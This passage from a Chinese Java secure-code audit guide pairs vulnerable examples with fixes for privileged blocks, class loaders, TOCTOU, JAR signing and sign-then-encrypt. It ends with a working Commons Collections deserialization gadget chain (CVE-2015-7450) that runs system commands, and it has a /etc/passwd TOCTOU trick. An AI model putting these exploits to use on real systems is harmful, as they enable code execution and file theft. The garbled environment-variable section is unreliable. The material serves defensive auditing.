这段不符合要求的示例代码实例化一个 Hashtable，并定义了一个 removeEntry()方法允许删除其条目。这个方法被认为是敏感的，因为哈希表中包含敏感信息。由于该方法被声明为是 public 且 non-final 的，将其暴露给了恶意调用者。
审计策略
需要和业务一起沟通那些方法属于敏感方法一般情况下涉及删除，遍历等操作的都视为敏感操作。当然敏感操作如果不涉及敏感数据也是可以的。
修复方案

```
public class SensitiveHash
{
Hashtable<Integer, String> ht = new Hashtable<Integer, String>();
void removeEntry(Object key)
{
// "removeKeyPermission" is a custom target name for SecurityPermission
check("removeKeyPermission");
ht.remove(key);
}
private void check(String directive)
{
SecurityManager sm = System.getSecurityManager();
if (sm != null)
```

```
{
sm.checkSecurityAccess(directive);
}
}
}
```
该正确示例使用安全管理器检查来防止 Hashtable 实例中的条目被恶意删除。如果调用者缺少 java.security.SecurityPermission removeKeyPermission，一个 SecurityException 异常将被抛出。 SecurityManager.checkSecurityAccess()方法检查调用者是否有特定的操作权限。

特权区域安全问题

介绍

java.security.AccessController 类是 Java 安全机制的一部分，负责实施可应用的安全策略。该类静态的 doPrivileged()方法以不严格的安全策略执行一个代码块。doPrivileged()方法将会阻止权限检查在方法调用栈上进一步往下进行。因此，任何包含 doPrivileged()代码块的方法或者类都有责任确保敏感操作访问的安全性。doPrivileged()方法一定不能泄露敏感信息或者功能。例如，假设一个 Web 应用程序为 Web 服务维护一个敏感的口令文件，同时也会加载运行不受信任的代码。那么，Web 应用程序可以实施一种安全策略，来防止自身的大部分代码和不受信任代码访问该敏感文件。由于必须要提供添加和修改口令的机制，可通过 doPrivileged()特权快来临时允许不受信任
代码访问敏感文件来管理密码。这种情况下，任何特权块必须防止不受信任代码访问口令信息。

漏洞示例

```
public class PasswordManager
{
public static void changePassword() throws MyAppException
{
// ...
FileInputStream fin = openPasswordFile();
// test old password with password in file contents; change password
// then close the password file
// ...
}
public static FileInputStream openPasswordFile()
throws FileNotFoundException
{
final String passwordFile = "password";
FileInputStream fin = null;
try
{
fin = AccessController.doPrivileged(new
PrivilegedExceptionAction<FileInputStream>()
{
public FileInputStream run() throws FileNotFoundException
{
// Sensitive action; can't be done outside privileged block
return new FileInputStream(passwordFile);
}
});
}
catch (PrivilegedActionException x)
{
// Handle exceptions…
}
```

```
return fin;
}
}
```
在上述示例中，doPrivileged()方法被 openPasswordFile()方法所调用。openPasswordFile()函数通过特权块代码获取并返回口令文件的 FileInputStream 流。 由于 openPasswordFile()方法为 public，它可能被不受信任代码所调用，从而引起敏感信息泄漏。

审计策略

全局审计特权区代码

修复方案

```
public class PasswordManager
{
public static void changePassword() throws MyAppException
{
try
{
FileInputStream fin = openPasswordFile();
// test old password with password in file contents; change password
// then close the password file
}
// Handle exceptions…
}
private static FileInputStream openPasswordFile()
throws FileNotFoundException
{
final String passwordFile = "password";
FileInputStream fin = null;
try
{
fin = AccessController.doPrivileged(new
PrivilegedExceptionAction<FileInputStream>()
{
public FileInputStream run() throws FileNotFoundException
{
// Sensitive action; can't be done outside privileged block
return new FileInputStream(passwordFile);
}
});
}
catch (PrivilegedActionException x)
{
// Handle exceptions…
}
return fin;
}
}
```
该正确代码将 openPasswordFile()声明为 private 来消减漏洞。因此，非受信调用者可以调用 changePassword()但却不能直接调用 openPasswordFile()函数。

自定义类加载器（ClassLoader）

介绍

在自定义类加载器必须覆盖 getPermissions()函数时，在具体实现时，在为代码源分配任意权限前，需要调用超类的 getPermissions()函数，以顾及与遵循系统的默认安全策略。忽略了超类 getPermissions()方法的自定义类加载器可能会加载权限提升了的非受信类。自定义类加载器时不要直接继承抽象的 ClassLoader 类。

漏洞示例

```
public class MyClassLoader extends URLClassLoader
{
@Override
protected PermissionCollection getPermissions(CodeSource cs)
{
PermissionCollection pc = new Permissions();
// allow exit from the VM anytime
pc.add(new RuntimePermission("exitVM"));
return pc;
}
// Other code…
}
```

该错误代码示例展示了一个继承自 URLClassLoader 类的自定义类加载器的一部分。它覆盖了 getPermissions()方法，但是并未调用其超类的限制性更强的 getPermissions()方法。因此，该自定义类加载器加载的类具有的权限完全独立于系统全局策略文件规定的权限。实际上，该类的权限覆盖了这些权限。

审计策略

全局搜索以下关键字

```
URLClassLoader
ClassLoader
getPermissions
loadClass
```

修复方案

```
public class MyClassLoader extends URLClassLoader
{
@Override
protected PermissionCollection getPermissions(CodeSource cs)
{
PermissionCollection pc = super.getPermissions(cs);
// allow exit from the VM anytime
pc.add(new RuntimePermission("exitVM"));
return pc;
}
// Other code…
}
```

在该正确代码示例中，getPermissions()函数调用了 super.getPermissions()。结果，除了自定义策略外，系统全局的默认安全策略也被应用。

TOCTOU 漏洞

介绍

基于不受信任数据源的安全检查可以被攻击者所绕过。在使用非受信数据源时，必须确保被检查的输入和实际被处理的输入相同。如果输入在检查和使用之间发生了变化，便会发生“time-of-check, time-of-use”（TOCTOU）漏洞。唯一正确的对策是保持数据不可变从而确保安全检查以及特权操作时使用的是同样的数据。在做安全检查之前，可以先对不受信任的对象或者参数做防御性拷贝，然后基于这份拷贝做安全检查。这样的拷贝必须要是深拷贝。待检查对象的 clone()方法实现可能只是生成一个浅拷贝，仍然可能会带来危害。另外 clone()方法的实现本身可能就是由攻击者所提供。

漏洞示例

```
public RandomAccessFile openFile(final java.io.File f)
{
RandomAccessFile rf = null;
try
```

```
{
askUserPermission(f.getPath());
// ...
rf = AccessController.doPrivileged(new
PrivilegedExceptionAction<RandomAccessFile>()
{
public RandomAccessFile run() throws FileNotFoundException
{
return new RandomAccessFile(f, "r");
}
});
}
catch(IOException e)
{
// handle error
}
catch (PrivilegedActionException e)
{
// handle error
}
return rf;
}
```

这个不符合要求的代码示例描述了 JDK1.5 版本 java.io 包中的一个安全漏洞。在此版本中，java.io.File 类不是 final 类，它允许攻击者继承合法的 File 类来提供一个非受信参数。在这种方式下，覆盖 getPath()函数以后，通过检查函数被调用的次数，函数第一次被调用时返回一个能够通过安全检查的文件路径，但第二次被调用时返回保存敏感信息的文件，如/etc/passwd 文件，这样就绕过了安全检查。这就是 TOCTOU 漏洞的一个例子。攻击者可将 java.io.File 按如下方式扩展：

```
public class BadFile extends java.io.File
{
private int count;
// ... Other omitted code
public String getPath()
{
return (++count == 1) ? "/tmp/foo" : "/etc/passwd";
}
}
```

然后用 BadFile 类型的文件对象调用有漏洞的 openFile()函数。安全管理器 AccessController.doPrivileged 检测的时候第一次检测的是/tmp/foo 是一个正常的文件但是检测完到调用的时候缺调用了/etc/passwd

审计策略

全局搜索关键字

Clone

Jdk 版本

通读安全管理器的逻辑流程

修复方案

```
public RandomAccessFile openFile(final java.io.File f)
{
RandomAccessFile rf = null;
try
{
final java.io.File copy = new java.io.File(f.getPath());
askUserPermission(copy.getCanonicalPath());
// ...
rf = AccessController.doPrivileged(new
```

```
PrivilegedExceptionAction<RandomAccessFile>()
{
public RandomAccessFile run() throws FileNotFoundException
{
return new RandomAccessFile(f, "r");
}
});
}
catch(IOException e)
{
// handle error
}
catch (PrivilegedActionException e)
{
// handle error
}
return rf;
}
```

该正确代码示例确保 java.io.File 对象是可信的，不管它是否是 final 型的。该示例使用标准构造器创建了一个新的文件对象。这样可以保证在 File 对象上调用的任何函数均来自标准类库，而不是被攻击者所覆盖过的函数。注意，使用 clone()函数而非 openFile()函数会拷贝攻击者的类，而这是不可取的。

默认 jar 签名机制

介绍

基于 Java 的技术通常使用 Java Archive（JAR）特性为独立于平台的部署打包文件。例如，对于 Enterprise JavaBeans（EJB）、MIDlets（J2ME）和 Weblogic Server J2EE 等应用，JAR 文件是首选的分发包方式。Java Web Start 提供的即点即击的安装也依赖于 JAR 文件格式打包。有需要时，厂商会为自己的 JAR 文件签名。这可以证明代码的真实性，但却不能保证代码的安全性。客户代码可能缺乏代码签名的程序化检查。例如，URLClassLoader 及其子类实例与 java.util.jar 自动验证 JAR 文件的签名。开发人员自定义的类加载器可能缺乏这项检查。而且，即便是在 URLClassLoader 中，自动验证也只是进行完整性检查，由于检查使用的是 JAR 包中未经验证的公钥，因此无法对加载类的真实性进行认证。合法的 JAR 文件可能会被恶意 JAR 文件替换，连同其中的公钥和摘要值也被适当替换和修改。默认的自动签名验证过程仍然可以使用，但仅仅借助它是不够的。使用默认的自动签名验证过程的系统必须执行额外的检查来确保签名的正确性（（如与一个已知的受信任签名进行比较）。

漏洞示例

```
public class JarRunner
{
public static void main(String[] args) throws IOException,
ClassNotFoundException, NoSuchMethodException,
InvocationTargetException
{
URL url = new URL(args[0]);
// Create the class loader for the application jar file
JarClassLoader cl = new JarClassLoader(url);
// Get the application's main class name
String name = cl.getMainClassName();
// Get arguments for the application
String[] newArgs = new String[args.length - 1];
System.arraycopy(args, 1, newArgs, 0, newArgs.length);
// Invoke application's main class
cl.invokeClass(name, newArgs);
```

```
}
}
final class JarClassLoader extends URLClassLoader
{
private URL url;
public JarClassLoader(URL url)
{
super(new URL[] {url});
this.url = url;
}
public String getMainClassName() throws IOException
{
URL u = new URL("jar", "", url + "!/");
JarURLConnection uc = (JarURLConnection) u.openConnection();
Attributes attr = uc.getMainAttributes();
return attr != null ? attr.getValue(Attributes.Name.MAIN_CLASS) : null;
}
public void invokeClass(String name, String[] args)throws
ClassNotFoundException, NoSuchMethodException,InvocationTargetException
{
Class c = loadClass(name);
Method m = c.getMethod("main", new Class[] {args.getClass()});
m.setAccessible(true);
int mods = m.getModifiers();
if (m.getReturnType() != void.class || !Modifier.isStatic(mods)
|| !Modifier.isPublic(mods))
{
throw new NoSuchMethodException("main");
}
try
{
m.invoke(null, new Object[] {args});
}
catch (IllegalAccessException e)
{
System.out.println("Access denied");
}
}
}
```

该错误示例代码展示了一个 JarRunner 演示程序，它可以动态执行 JAR 文件中的某个特定类。该程序创建了一个 JarClassLoader，它通过不信任的网络如 Internet 来加载程序更新、插件或补丁。第一个参数是获取代码的 URL，其他参数指定传递给加载类的参数。JarRunner 使用反射来调用被加载类的 main()方法。不幸的是，默认情况下，JarClassLoader 使用 JAR 文件中包含的公钥来验证签名。

审计策略

全局搜索下面的 jar 包或者关键字

```
URLClassLoader
java.util.jar
```

修复方案

```
public void invokeClass(String name, String[] args)throws
ClassNotFoundException, NoSuchMethodException,InvocationTargetException,
GeneralSecurityException, IOException
{
Class c = loadClass(name);
Certificate[] certs
=c.getProtectionDomain().getCodeSource().getCertificates();
```

```
if (certs == null)
{
// return, do not execute if unsigned
System.out.println("No signature!");
return;
}
KeyStore ks = KeyStore.getInstance("JKS");
ks.load(new FileInputStream(System.getProperty("user.home"+ File.separator +
"keystore.jks")), getKeyStorePassword());
// get the certificate stored in the keystore with "user" as alias
Certificate pubCert = ks.getCertificate("user");
// check with the trusted public key, else throws exception
certs[0].verify(pubCert.getPublicKey());
// ... other omitted code
}
```

当本地系统不能可靠的验证签名时，调用程序必须通过程序化的方式验证签名。具体做法是，程序必须从加载类的代码源（Code-Source）中获取证书链，然后检查证书是否属于某个事先获取并保存在本地密钥库（KeyStore）中的受信任签名者

环境变量

介绍

因为 System.getENV() 需要用和操作系统相关的关键字才能获得环境变量的值。当程序代码跨操作系统移植时，代码出错。比如不提倡使用 System.getE getenv NV("UIDS")。

漏洞示例

"UIDS"是操作系统相关的关键字，不同操作系统会提供不同关键字，Linux 下是 UIDS，Windows 下 UIDSNAME。一旦跨平台移植，代码出问题。提倡使用 System.getProperty("uIDS.name")。"uIDS.name"是 JVM 保留的关键字，平台无关，使用安全。

审计策略

全局搜索 System. Getenv

修复方案

使用 System.getProperty，注意相关参数的替换。

数据签名和加密

介绍

敏感数据传输过程中要防止窃取和恶意篡改。使用安全的加密算法加密传输对象可以保护数据。这就是所谓的对对象进行密封。而对密封的对象进行数字签名则可以防止对象被非法篡改，保持其完整性。在以下场景中，需要对对象密封和数字签名来保证数据安全：

1）序列化或传输敏感数据

2）没有诸如 SSL 传输通道一类的安全通信通道或者对于有限的事务来说代价太高

3）敏感数据需要长久保存（比如在硬盘驱动器上）

应该避免使用私有加密算法。这类算法大多数情况下会引入不必要的漏洞。

漏洞示例

```
class SerializableMap<K, V> implements Serializable
{
final static long serialVersionUID = 45217497203262395L;
private Map<K, V> map;
public SerializableMap()
{ map = new HashMap<K, V>();}
public V getData(K key)
```

```
{ return map.get(key); }
public void setData(K key, V data)
{ map.put(key, data); }
}
public class MapSerializer
{
public static SerializableMap<String, Integer> buildMap()
{
SerializableMap<String, Integer> map = new SerializableMap<String,Integer>();
map.setData("John Doe", new Integer(123456789));
map.setData("Richard Roe", new Integer(246813579));
return map;
}
public static void InspectMap(SerializableMap<String, Integer> map)
{
System.out.println("John Doe's number is " + map.getData("John Doe"));
System.out.println("Richard Roe's number is "+ map.getData("Richard Roe"));
}
}
```

示例一 未做加密和签名：

```
public static void main(String[] args) throws
IOException,ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Serialize map
ObjectOutputStream out = new ObjectOutputStream(new
FileOutputStream("data"));
out.writeObject(map);
out.close();
// Deserialize map
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
map = (SerializableMap<String, Integer>) in.readObject();
in.close();
// Inspect map
InspectMap(map);
}
```

该错误代码没有采取任何措施抵御二进制数据传输过程中可能遭遇的字节流操纵攻击。因此，任何人都可以对序列化的流数据实施逆向工程从而恢复 HashMap 中的数据。

示例二 仅做了加密：

```
public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Generate sealing key & seal map
KeyGenerator generator = KeyGenerator.getInstance("AES");
generator.init(new SecureRandom());
Key key = generator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
SealedObject sealedMap = new SealedObject(map, cipher);
// 上面的代码通过 AES 对 map 做加密
// 下面开始序列化 map
ObjectOutputStream out = new ObjectOutputStream(new
FileOutputStream("data"));
```

```
out.writeObject(sealedMap);
out.close();
// 下面通过发序列化 map 来传输数据
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
sealedMap = (SealedObject) in.readObject();
in.close();
// Unseal map
cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
map = (SerializableMap<String, Integer>) sealedMap.getObject(cipher);
// Inspect map
InspectMap(map);
}
```

该程序未对数据进行签名，因此无法进行可靠性验证。

示例三 先加密后签名：

```
public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Generate sealing key & seal map
KeyGenerator generator = KeyGenerator.getInstance("AES");
generator.init(new SecureRandom());
Key key = generator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
SealedObject sealedMap = new SealedObject(map, cipher);
// Generate signing public/private key pair & sign map
//下面开始签名
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
KeyPair kp = kpg.generateKeyPair();
Signature sig = Signature.getInstance("SHA256withRSA");
SignedObject signedMap = new SignedObject(sealedMap, kp.getPrivate(), sig);
// Serialize map
ObjectOutputStream out = new ObjectOutputStream(new
FileOutputStream("data"));
out.writeObject(signedMap);
out.close();
// Deserialize map
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
signedMap = (SignedObject) in.readObject();
in.close();
// Verify signature and retrieve map
if (!signedMap.verify(kp.getPublic(), sig))
{
throw new GeneralSecurityException("Map failed verification");
}
sealedMap = (SealedObject) signedMap.getObject();
// Unseal map
cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
map = (SerializableMap<String, Integer>) sealedMap.getObject(cipher);
// Inspect map
InspectMap(map);
}
```

这段代码先将对象加密然后为其签名。任何恶意的第三方可以截获原始加密签名后的数据，

剔除原始的签名，并对密封的数据加上自己的签名。这样一来，由于对象被加密和签名（只有在签名验证通过后才可以解密对象），恶意第三方和正常的接收者均无法得到原始的消息内容。接收者无法确认发件人的身份，除非可以通过安全通道获得合法发件人的公开密钥。三个国际电报电话咨询委员会（CCITT）X.509 标准协议中有一个容易受到这种攻击。

审计方法

对于涉及数据需要传输的地方需要人工审计。重点关注业务中关于签名和加密方面的场景。一般在支付，api 校验，认证等业务场景中比较常见。

修复方案

先签名后加密

```
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SealedObject;
// Other import…
public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Generate signing public/private key pair & sign map
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
KeyPair kp = kpg.generateKeyPair();
Signature sig = Signature.getInstance("SHA256withRSA");
SignedObject signedMap = new SignedObject(map, kp.getPrivate(), sig);
// Generate sealing key & seal map
KeyGenerator generator = KeyGenerator.getInstance("AES");
generator.init(new SecureRandom());
Key key = generator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
SealedObject sealedMap = new SealedObject(signedMap, cipher);
// Serialize map
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(
"data"));
out.writeObject(sealedMap);
out.close();
// Deserialize map
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
sealedMap = (SealedObject) in.readObject();
in.close();
// Unseal map cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
signedMap = (SignedObject) sealedMap.getObject(cipher);
// Verify signature and retrieve map
if (!signedMap.verify(kp.getPublic(), sig))
{
throw new GeneralSecurityException("Map failed verification");
}
map = (SerializableMap<String, Integer>) signedMap.getObject();
// Inspect map
InspectMap(map);
}
```

这段正确的代码先为对象签名然后再加密。 这样既能保证数据的真实可靠性，又能防止“中间人攻击”（man-in-middle attacks）。

例外情况：

1） 为已加密对象签名在特定场景下是合理的，比如验证从其他地方接收的加密对象的真实性。这是对于被机密对象本身而非其内容的保证。
2） 签名和加密仅仅对于必须跨过信任边界的对象是必需的。始终位于信任边界内的对象不需要签名或加密。例如，如果某网络全部位于信任边界内，始终处于该网络上的对象无需签名或加密。

第三方组件安全

介绍
这个比较好理解，诸如 Struts2、不安全的编辑控件、XML 解析器以及可被其它漏洞利用的如 commons-collections:3.1 等第三方组件，这个可以在程序 pom 文件中查看是否有引入依赖。即便在代码中没有应用到或很难直接利用，也不应该使用不安全的版本，一个产品的周期很长，很难保证后面不会引入可被利用的漏洞点。
审计策略
熟悉常见的 java 框架安全问题。
修复方案
使用最新或安全版本的第三方组件 Apache Commons Collections
介绍项目地址官网： http://commons.apache.org/proper/commons-collections/
Github: https://github.com/apache/commons-collections
org.apache.commons.collections 提供一个类包来扩展和增加标准的 Java collection 框架，也就是说这些扩展也属于 collection 的基本概念，只是功能不同罢了。Java 中的 collection 可以理解为一组对象，collection 里面的对象称为 collection 的对象。具象的 collection 为 set，list，queue 等等，它们是集合类型。换一种理解方式，collection 是 set，list，queue 的抽象。

Apache Commons Collections 中有一个特殊的接口，其中有一个实现该接口的类可以通过调用 Java 的反射机制来调用任意函数，叫做 InvokerTransformer。
JAVA 反射机制
在运行状态中：
对于任意一个类，都能够判断一个对象所属的类；
对于任意一个类，都能够知道这个类的所有属性和方法；
对于任意一个对象，都能够调用它的任意一个方法和属性；
这种动态获取的信息以及动态调用对象的方法的功能称为 java 语言的反射机制。
漏洞示例
Apache Commons Collections < 3.2.2 版本存在的反序列化漏洞。CVE-2015-7450

```
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
```

```
public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待执行的命令数组
        //String[] execArgs = new String[] { "sh", "-c", "whoami >
/tmp/fuck" };
        //transformers: 一个 transformer 链，包含各类 transformer 对象（预设转化逻辑）
的转化数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class), //返回一个 Runtime.class 常量
            /*
            由于 Method 类的 invoke(Object obj,Object args[])方法的定义
            所以在反射内写 new Class[] {Object.class, Object[].class }
            正常 POC 流程举例：

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(
"gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ), //通过反射得到 getMethod("getRuntime",null)
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class },
                new Object[] {null, null }
            ), //得到 invoke(null,null)
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs }
            )  //得到 exec("whoami")
        };
        //transformedChain: ChainedTransformer 类对象，传入 transformers 数组，可以
按照 transformers 数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);
        //BeforeTransformerMap: Map 数据结构，转换前的 Map，Map 数据结构内的对象是键值
对形式，类比于 python 的 dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String,
String>();
        Map<String,String> BeforeTransformerMap = new
HashMap<String,String>();
        BeforeTransformerMap.put("hello", "hello");

        //Map 数据结构，转换后的 Map
       /*
       TransformedMap.decorate 方法,预期是对 Map 类的数据结构进行转化，该方法有三个参
数。
            第一个参数为待转化的 Map 对象
            第二个参数为 Map 对象内的 key 要经过的转化方法（可为单个方法，也可为链，也可为
空）
```

```
            第三个参数为 Map 对象内的 value 要经过的转化方法。
        */
        //TransformedMap.decorate(目标 Map, key 的转化对象（单个或者链或者 null），
value 的转化对象（单个或者链或者 null））;
        Map AfterTransformerMap =
TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
        Class cl =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class,
AfterTransformerMap);
        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new
FileOutputStream(f));
        out.writeObject(instance);
    }
}


/*
思路:构建 BeforeTransformerMap 的键值对，为其赋值，
     利用 TransformedMap 的 decorate 方法，对 Map 数据结构的 key/value 进行 transforme
     对 BeforeTransformerMap 的 value 进行转换，当 BeforeTransformerMap 的 value 执行
完一个完整转换链，就完成了命令执行
     执行本质:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(
.........)
     利用反射调用 Runtime() 执行了一段系统命令，Runtime.getRuntime().exec()
*/
public static void main(String[] args) throws Exception {
    //transformers: 一个 transformer 链，包含各类 transformer 对象（预设转化逻辑）的转
化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec",
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先构造一个 Map 和一个能够执行代码的 ChainedTransformer，以此生成一个
TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //触发 Map 中的 MapEntry 产生修改（例如 setValue()函数
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
```

```
    onlyElement.setValue("foobar");
    /*代码运行到 setValue()时，就会触发 ChainedTransformer 中的一系列变换函数：
        首先通过 ConstantTransformer 获得 Runtime 类
        进一步通过反射调用 getMethod 找到 invoke 函数
        最后再运行命令 calc.exe。
    */
}
```

审计策略
通读代码，找出可利用的点
修复方案
升级到最新版本。从源码角度讲审计方法如下：
Apache Commons Collections 已经在在 3.2.2 版本中做了修复，对这些不安全的 Java 类的序列化支持增加了开关，默认为关闭状态。涉及的类包括 CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。
如，InvokerTransformer 类重写了序列化相关方法 writeObject()和 readObject()。
如果没有开启不安全类的序列化，则会抛出 UnsupportedOperationException 异常：